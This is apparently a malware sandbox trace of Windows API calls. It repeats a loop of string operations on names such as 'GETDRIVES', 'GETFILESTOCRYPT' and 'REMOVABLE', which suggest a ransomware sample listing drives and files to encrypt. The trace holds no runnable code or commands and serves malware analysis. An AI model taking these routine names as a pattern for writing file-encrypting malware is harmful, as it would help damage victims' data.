CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.223] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.223] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.223] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.223] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.224] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.224] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.224] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.224] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.224] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.224] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.224] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.224] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.224] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.224] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.224] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.224] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.224] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.225] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.225] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.225] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.225] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.225] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.225] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.225] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.225] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.225] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.225] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.225] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.226] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.226] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.226] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.226] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.226] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.226] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.226] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.227] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.227] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.227] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.227] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.227] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.227] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.227] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.228] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.228] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.228] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.228] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.228] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.228] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.228] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.228] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.228] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.228] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.228] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.229] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.229] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.229] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.229] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.229] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.229] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.229] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.229] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.229] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.230] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.230] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.230] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.232] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.232] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.232] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.233] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.233] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.233] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.233] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.233] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.233] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.233] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.234] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.234] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.234] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.234] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.234] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.234] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.234] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.235] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.235] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.235] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.235] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.235] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.235] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.236] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.236] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.236] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.237] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.237] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.237] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.237] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.237] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.237] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.237] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.237] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.237] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.237] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.237] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.237] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.237] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.238] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.238] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.238] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.238] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.238] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.238] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.239] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.239] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.239] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.239] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.239] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.239] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.240] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.240] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.241] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.241] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.241] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.241] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.241] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.241] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.241] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.241] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.242] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.242] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.242] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.242] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.242] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.242] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.242] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.242] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.242] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.243] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.243] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.243] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.243] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.243] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.243] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.243] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.243] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.243] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.243] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.244] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.244] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.244] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.244] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.244] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.244] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.244] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.244] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.244] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.244] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.244] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.245] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.245] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.245] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.245] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.245] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.245] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.245] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.245] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.245] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.245] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.245] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.245] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.246] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.246] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.246] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.246] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.246] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.246] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.246] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.246] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.246] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.246] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.246] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.246] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.247] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.247] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.247] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.247] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.247] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.247] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.247] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.247] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.247] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.247] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.247] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.247] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.248] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.248] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.248] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.249] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.249] 